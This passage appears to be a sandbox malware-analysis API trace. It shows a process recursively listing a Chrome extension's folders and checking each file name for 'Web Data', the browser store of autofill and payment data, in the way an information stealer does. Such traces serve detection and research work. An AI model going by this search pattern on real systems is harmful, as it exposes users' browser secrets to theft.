Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0056.123] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.123] LocalFree (hMem=0x2d9e68) returned 0x0 [0056.123] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.123] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.123] lstrlenA (lpString="\\*.*") returned 4 [0056.123] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2da068 [0056.123] lstrcpyA (in: lpString1=0x2da068, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.123] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0056.123] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2cc850 [0056.123] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.123] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.123] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.123] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.123] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.123] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0056.123] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.123] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0056.123] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.124] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0056.124] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.124] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0056.124] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.124] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.124] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.124] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.124] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.124] lstrlenA (lpString="\\") returned 1 [0056.124] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2db178 [0056.124] lstrcpyA (in: lpString1=0x2db178, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0056.124] lstrlenA (lpString="_locales") returned 8 [0056.124] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2db280 [0056.124] lstrcpyA (in: lpString1=0x2db280, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.124] LocalFree (hMem=0x2db178) returned 0x0 [0056.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.124] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.124] lstrlenA (lpString="\\*.*") returned 4 [0056.124] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2db390 [0056.124] lstrcpyA (in: lpString1=0x2db390, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.124] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0056.124] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2cc890 [0056.124] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.124] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.124] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.124] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.125] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.125] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.125] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.125] lstrlenA (lpString="\\") returned 1 [0056.125] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.125] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.125] lstrlenA (lpString="ar") returned 2 [0056.125] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.125] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0056.125] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0056.125] lstrlenA (lpString="\\*.*") returned 4 [0056.125] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.125] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0056.125] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0056.125] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2d8b80 [0056.125] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.125] FindNextFileA (in: hFindFile=0x2d8b80, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.125] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.125] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.125] FindNextFileA (in: hFindFile=0x2d8b80, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.125] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.125] FindNextFileA (in: hFindFile=0x2d8b80, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.125] FindClose (in: hFindFile=0x2d8b80 | out: hFindFile=0x2d8b80) returned 1 [0056.125] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.125] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.125] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.125] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.125] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.125] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.126] lstrlenA (lpString="\\") returned 1 [0056.126] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.126] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.126] lstrlenA (lpString="bg") returned 2 [0056.126] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.126] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0056.126] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0056.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0056.126] lstrlenA (lpString="\\*.*") returned 4 [0056.126] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.126] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0056.126] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0056.126] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.126] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.126] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.126] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.126] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.126] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.126] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.126] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.126] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.126] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.126] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.126] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.126] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.126] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.126] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.127] lstrlenA (lpString="\\") returned 1 [0056.127] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.127] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.127] lstrlenA (lpString="ca") returned 2 [0056.127] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.127] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0056.127] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0056.127] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0056.127] lstrlenA (lpString="\\*.*") returned 4 [0056.127] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.127] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK 